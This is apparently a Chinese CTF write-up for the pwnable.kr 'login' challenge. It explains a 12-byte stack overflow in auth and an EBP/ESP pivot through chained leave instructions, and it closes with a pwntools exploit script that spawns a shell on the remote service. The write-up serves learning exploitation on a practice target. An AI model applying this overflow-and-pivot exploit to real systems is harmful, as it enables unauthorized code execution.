文件下載下來後是個elf可執行文件
用IDA反編譯後可以看到溢出點在auth函數中
_BOOL4 __cdecl auth(int a1)
{
char v2; // [sp+14h] [bp-14h]@1
char *s2; // [sp+1Ch] [bp-Ch]@1
int v4; // [sp+20h] [bp-8h]@1
memcpy(&v4, &input, a1);
s2 = (char *)calc_md5(&v2, 12);
printf("hash : %s\n", (char)s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
memcpy函數將input的值copy至v4地址中,導致棧溢出。
通過gdb查看棧,其中綠色箭頭爲v4的地址紅色箭頭爲auth函數返回地址,可以看到如果覆蓋返回地址需要填充12個字節,13-16個字節改變返回地址
但是,本題要求輸入字符通過base64解碼且解碼後長度不能超過12個
v6 = Base64Decode((int)&v5, &v4);
if ( v6 > 0xC )
{
puts("Wrong Length");
}
這就比較尷尬了….陷入懵逼循環中…
最後看到http://www.cnblogs.com/anewid/p/4567242.html這篇博客才知道如何去做,感謝大佬
關鍵在於leave指令
leave指令等同於下面兩條命令(32位)
mov esp, ebp
pop ebp;
該命令會將esp中的值給ebp,同時esp自身會+4
該指令執行完之後結果爲:
esp = ebp + 4,ebp = [ebp]
因爲在auth函數和main函數中最後都有leave指令,所以我們可以構造一個這樣的payload:
‘aaaa’+system的地址+該輸入存儲的地址
輸入後棧中情況爲這樣
可見輸入的數據與返回地址只有一步之遙,
再聯想剛纔說的leave指令,怎麼樣?懂了吧!
auth函數中的leave指令會將ESP改爲EBP+4既函數返回地址,將EBP的值改爲0x811eb40的值既剛纔輸入的首地址然後函數返回,程序繼續執行
此時的EBP的值已經被改爲輸入的首地址,當程序執行到main函數的leave指令時,將EBP加4賦值給ESP,剛纔EBP的值已經被改爲我們輸入的首地址了,再加4即爲system的地址!
就這樣,我們成功get shell
獲得flag:control EBP, control ESP, control EIP, control the world~
腳本如下
from pwn import *
import base64
sysaddr=0x8049284
inaddr=0x811EB40
shellcode='aaaa'+p32(sysaddr)+p32(inaddr)
shellcode=base64.b64encode(shellcode)
#print shellcode
con=remote('pwnable.kr',9003)
#con=process('./login')
con.recvuntil('Authenticate : ')
con.sendline(shellcode)
con.interactive()